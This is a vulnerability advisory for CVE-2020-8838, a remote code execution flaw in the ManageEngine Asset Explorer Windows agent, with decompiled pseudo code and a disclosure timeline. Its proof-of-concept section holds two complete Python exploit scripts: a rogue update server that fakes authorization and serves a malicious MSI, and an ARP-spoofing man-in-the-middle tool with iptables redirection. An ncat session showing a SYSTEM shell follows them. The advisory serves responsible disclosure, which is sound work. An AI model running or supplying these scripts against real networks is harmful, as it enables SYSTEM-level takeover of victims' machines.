The ManageEngine Asset Explorer windows agent suffers form a remote code execution vulnerability. All versions prior to 1.0.29 are affected.
ff4fdf0c7d6b92afcdddd961ccbb4ed7XL-2020-003 - Asset Explorer Windows Agent - Remote Code Execution
===============================================================================
Identifiers
-------------------------------------------------
* CVE-2020-8838
* XL-20-003
CVSSv3 score
-------------------------------------------------
7.5 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Vendor
-------------------------------------------------
ManageEngine - [https://www.manageengine.com/products/asset-explorer/](https://www.manageengine.com/products/asset-explorer/)
Product
-------------------------------------------------
ManageEngine Asset Explorer windows agent is used by the ManageEngine's AssetExplorer software to discover software assets installed on the windows machines.
Affected versions
-------------------------------------------------
- All versions prior to 1.0.29
Credit
-------------------------------------------------
Sahil Dhar - xen1thLabs - Software Labs
Vulnerability summary
-------------------------------------------------
It was observed that, while upgrading the Asset Explorer's windows agent, it does not validate the source IP address of server sending the UPGRADE request and downloads the agent binary via an insecure channel, allowing an attacker on an adjacent network to execute code with `NT AUTHORITY/SYSTEM` priviliges on the agent machines by providing arbitrary executables via MITM attack.
Techincal details
-------------------------------------------------
Upon reversing the ManageEngineAssetExplorerAgent.exe binary, we observed that the agent server does not validate the source of connection and accepts the command from any client. Following pseudo code shows this behaviour.
```c
v9 = 9000;
if ( dword_493E38 )
v9 = _wtoi(dword_493E38);
if ( sub_40114F() )
Log Function(...)
if ( !sub_40117C() )
Log Function(...)
v10 = sub_401195(v9); /* listen on port 9000 */
if ( v10 == -1 )
{
Log Function(...)
".\\.\\main\\src\\AEAgent.cpp",
131,
3,
"Failed in create_server_sock. The port may be occupied by some other applications, try restarting the agent after 30 minutes",
v40);
return 0;
}
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
s = 0;
v11 = sub_40101E(v10, &addr, (int)&s);
v43 = v11;
if ( v11 )
break;
closesocket(s);
Log Function(...)
}
v12 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
v13 = &v50;
do
{
v14 = *v12;
*v13++ = *v12++;
}
while ( v14 );
*(_DWORD *)dword_493E54 = *(unsigned __int16 *)addr.sa_data;
Log Function(...)
Log Function(...)
v15 = calloc(1u, 0xC8u);
v48 = v15;
if ( sub_401091(v11, v15, 200) > 0 ) /* read 200 bytes from the client socket */
break;
Log Function(...)
if ( v15 )
free(v15);
sub_4011A4(v11);
}
v16 = 0;
```
The agent server then parses the command by splitting it with hash `#` character and send an authorization request to AssetExplorer Management server using insecure HTTP connection. Following code snippets shows this behaviour:
```c
// UPGRADE request parsing logic
v17 = strtok((char *)v15, "#");
if ( v17 )
{
dword_493E5C = sub_40106E(v17);
v18 = strtok(0, "#");
if ( v18 )
{
dword_493E58 = (void *)sub_40106E(v18);
v19 = strtok(0, "#");
if ( v19 )
{
dword_493E60 = (void *)sub_40106E(v19);
v16 = strtok(0, "#");
if ( v16 )
{
v20 = strtok(0, "#");
v46 = v20;
if ( v20 )
{
dword_493E64 = (void *)sub_40106E(v20);
v21 = strtok(0, "#");
if ( v21 )
dword_493E68 = (void *)sub_40106E(v21);
}
if ( !memcmp(v16, "RDS-PROMPT", 0xBu) && v46 )
v44 = atoi(v46);
}
}
}
}
```
```c
// send AUTH_TOKEN REQUEST to Server
sub_40112C(v2, L"%s?WSNAME=%s&AUTH_TOKEN=%s&AGENTID=%s&TASK=%s", (unsigned int)&off_47B4F0);
Log Function(...)
v13 = calloc(2u, 0x3E8u);
v3 = _wtoi(v15);
v4 = sub_4010DC(v0, v1, v3, v2, L"Get Task Info", &v13); /*DM Comment: Send http POST request*/
v5 = 0;
if ( v4 )
{
v6 = _wtoi(v15);
v7 = sub_4010DC(v16, v17, v6, v2, L"Get Task Info", &v13); /*DM Comment: Send http POST request*/
v4 = v7;
/* DM Comment: sub_4010DC() function utimately resolving in HttpSendRequestExW Win API call in sub_406DD0() function */
v18 = HttpOpenRequestW(v16, L"POST", lpszObjectName, L"HTTP/1.0", &szReferrer, 0, dwFlags, 0);
if ( !v18 )
goto LABEL_38;
LABEL_15:
while ( 2 )
{
v19 = 0;
while ( 1 )
{
if ( !HttpSendRequestExW(v18, &BuffersIn, 0, 0, 0) )
```
Upon receiving the `UPGRADE` command, the agent executes the following block of pseudo code, which ideally is supposed to send the request to an AssetExplorer management server to verify the authenticity of request.
As the connection is made over HTTP, an attacker can execute Man-in-the-middle (MITM) attack and act as an rougue AssetExplorer Management server and sends a success response for the malicious `UPGRADE` request triggered by them initially.
```c
if ( !memcmp(v16, "UPGRADE", 8u) )
{
Log Function(...)
v45 = (void *)sub_401122(lpWideCharStr);
if ( !(unsigned __int8)sub_401109(v45, *(_DWORD *)dword_493E54, "success", v55) )
Log Function(...)
if ( v45 )
free(v45);
if ( !CreateThread(0, 0, sub_4010D7, L"UPGRADE", 0, 0) )
{
v46 = GetLastError();
Log Function(...)
}
}
```
After receiving the successful response from the attacker's server, the agent server copies agentcontroller.exe binary in windows temp folder and executes the command `agentcontroller.exe -upgrade`. Following pseudo code shows this behaviour.
```c
sub_40112C(v6, L"%s -upgrade", (unsigned int)L"agentcontroller.exe");
}
else
{
sub_40112C(v6, L"%s -r", (unsigned int)L"agentcontroller.exe");
}
sub_40105F(lpPathName, (int)v6, -1);
free(v6);
```
The agentcontroller.exe when executed with `-upgrade` option, simply downloads the new/malicious binary residing at `/agent/ManageEngineAssetExplorerAgent.msi` server path using insecure HTTP connection and executes it.
```c
/*DM Comment: Pseudo code for agentcontroller.exe downloading and executing the malicious .msi binary using windows msiexec utility*/
if ( sub_40105F((int)v0, lpszServerName, v4, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2)
&& (v5 = _wtoi(v15), sub_40105F((int)v0, v17, v5, (int)L"/agent/ManageEngineAssetExplorerAgent.msi", v2)) )
{
Log Function(...)
sub_4010BE(
v1,
L"%s?status=failed&agentId=%s&wsName=%s&action=%s&error=%d",
(unsigned int)L"/discoveryServlet/AgentStatusServlet");
sub_401005((int)v0, (int)lpszServerName, (int)v17, v15, (int)v1);
}
else
{
Log Function(...)
v6 = (wchar_t *)calloc(2u, 0x3E8u);
v7 = (int)v6;
if ( v6 )
sub_4010BE(v6, L"MsiExec.exe /i %s /q ALLUSERS=1 /log aeagent_msi_install.log", (char)v18);
```
Proof of concept
-------------------------------------------------
Following POC exploit scripts can be used in conjuction to serve a malicious MSI binary to the agent which will be executed with `NT Authority/System` privileges.
**exploit.py**
```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 exploit.py <target>
from http.server import BaseHTTPRequestHandler
from http.server import HTTPServer
import code
import os
import threading
import socket
import sys
import ssl
class RequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.server_version = "-"
self.sys_version = ""
if 'AUTH_TOKEN' in self.path:
response_body = "true"
print("Received AUTH_TOKEN request")
# print(self.path)
# print(self.headers)
self.send_response(200)
self.send_header("Set-Cookie","SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
self.send_header("Content-Length",len(response_body))
self.end_headers()
self.wfile.write(bytes(response_body.encode("utf-8")))
else:
# print(self.path)
self.send_response(404)
self.end_headers()
self.wfile.write("<br>POST".encode('utf-8'))
def do_GET(self):
self.server_version = "-"
self.sys_version = ""
agent_data = open("aeagent2.msi", 'rb').read()
if 'ManageEngineAssetExplorerAgent.msi' in self.path:
response_body = agent_data
print("Received binary package request")
print(self.path)
print(self.headers)
print("Malicious binary sent")
self.send_response(200)
self.send_header("Set-Cookie", "SDPSESSIONID=D37A2BD8EE495690AF4A85C8876A11B2; Path=/; HttpOnly")
self.send_header("Content-Length", len(response_body))
self.send_header("Accept-Ranges", "bytes")
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(bytes(response_body))
else:
print(self.path)
self.send_response(404)
self.end_headers()
self.wfile.write("<br>GET".encode("utf-8"))
def send_upgrade_packet(ip, port=9000):
"""by default exploit will send an UPGRADE packet on port 9000"""
agent_auth = "ABBBBB"
agent_id = "WIN-1D8NLD1QO81_1555159094695"
operation = "UPGRADE"
data = agent_id + "#" + agent_auth + "#" + agent_id + "#" + operation
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(sock)
ssl_sock.connect((ip, int(port)))
ans = input("Send Exploit ?")
if ans.lower() in 'yes':
print("Sending UPGRADE request...")
ssl_sock.send(data.encode('utf-8'))
print(ssl_sock.recv(1024))
ssl_sock.close()
def main():
""" ManageEngineAssetExplorerAgent Exploit in default configurations"""
agent_ip = sys.argv[1]
local_server_port = 443
server = HTTPServer(('', local_server_port), RequestHandler)
if len(sys.argv) > 2:
if sys.argv[2] == '--ssl':
server.socket = ssl.wrap_socket(server.socket, certfile="./server.pem", server_side=True)
print("HTTPS Server listening at %d" % local_server_port)
else:
print("HTTP Server listening at %d" % local_server_port)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()
client_thread = threading.Thread(target=send_upgrade_packet,args=(agent_ip,))
client_thread.start()
if __name__=="__main__":
main()
```
**arp_spoof.py***
```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)
# usage: python3 arp_spoof.py <target> <upgrade_server> <target_port> start
from scapy.all import *
import logging
import time
import signal
import os
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def get_mac(ip):
res, unres = arping(ip)
for s, r in res:
return r[Ether].src
def arp_restore(victim_ip, router_ip, victim_mac, router_mac):
send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victim_mac), 3)
send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=router_mac), 3)
def arp_poison(victim_ip, router_ip, victim_mac, router_mac):
"""As we are not defining hwsrc, the hwsrc will be taken as our
hardware mac address and thus putting us between victim and router"""
send(ARP(op=2, psrc=router_ip, pdst=victim_ip, hwdst=victim_mac))
send(ARP(op=2, psrc=victim_ip, pdst=router_ip, hwdst=router_mac))
def create_env(port=8080):
cmds = set()
os.system("iptables -t nat -F")
print("Iptables NAT cleared")
print("Ip foward rule inserted");
cmds.add('echo "1" > /proc/sys/net/ipv4/ip_forward')
cmds.add("iptables -t nat -A PREROUTING -p tcp --destination-port %s -j REDIRECT --to-port %s" % (port, port))
for cmd in cmds:
time.sleep(1)
os.system(cmd)
if __name__ == '__main__':
_server_port = sys.argv[3]
_victim_ip = sys.argv[1]
_router_ip = sys.argv[2]
_router_mac = get_mac(_router_ip)
_victim_mac = get_mac(_victim_ip)
create_env(port=_server_port)
def signal_handler(signal, frame):
print("Restoring ARP Cache...")
arp_restore(_victim_ip, _router_ip, _victim_mac, _router_mac)
os._exit(0)
signal.signal(signal.SIGINT, signal_handler)
if sys.argv[4] == "start":
while 1:
arp_poison(_victim_ip, _router_ip, _victim_mac, _router_mac)
time.sleep(1.5)
```
```
#~ ncat 192.168.56.101 4141
Microsoft Windows [Version 10.0.16299.1268]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
```
Solution
-------------------------------------------------
Upgrade AssetExplorer to the latest version.
Timeline
-------------------------------------------------
20-06-2019 - Reported to vendor
20-06-2019 - Vendor acknowledgement
20-01-2020 - Patch released
05-05-2020 - xen1thLabs public disclosure